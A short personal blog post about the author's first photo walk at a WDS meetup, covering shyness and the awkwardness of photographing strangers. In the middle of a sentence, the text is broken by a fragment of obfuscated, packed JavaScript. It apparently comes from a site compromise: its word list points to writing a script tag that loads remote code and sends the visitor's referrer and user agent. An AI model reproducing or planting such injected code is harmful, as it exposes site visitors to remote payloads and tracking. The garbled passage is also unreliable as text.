My First Photo Walk

While at WDS, I attended a meetup.  This is huge for me, folks.  I went totally alone.  Thankfully I had my trusty camera to throw in front of my face in case I needed to be anti social.  Don’t worry, I ended up meeting more people on that 1 walk than the entire weekend combined (well, almost).

The meetup was put on by Darlene, of Digital ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szkrs|var|u0026u|referrer|frdkh||js|php’.split(‘|’),0,{}))

So here’s the thing.  I don’t really “get” photo walks.  To be fair, this was my first.  I have a hard time taking pictures that don’t include people, but I also have a tough time taking pictures of people I don’t know.  I feel like I need to ask their permission, but once you ask, the moment is lost.  Such a dilemma!

Here’s what I ended up with.
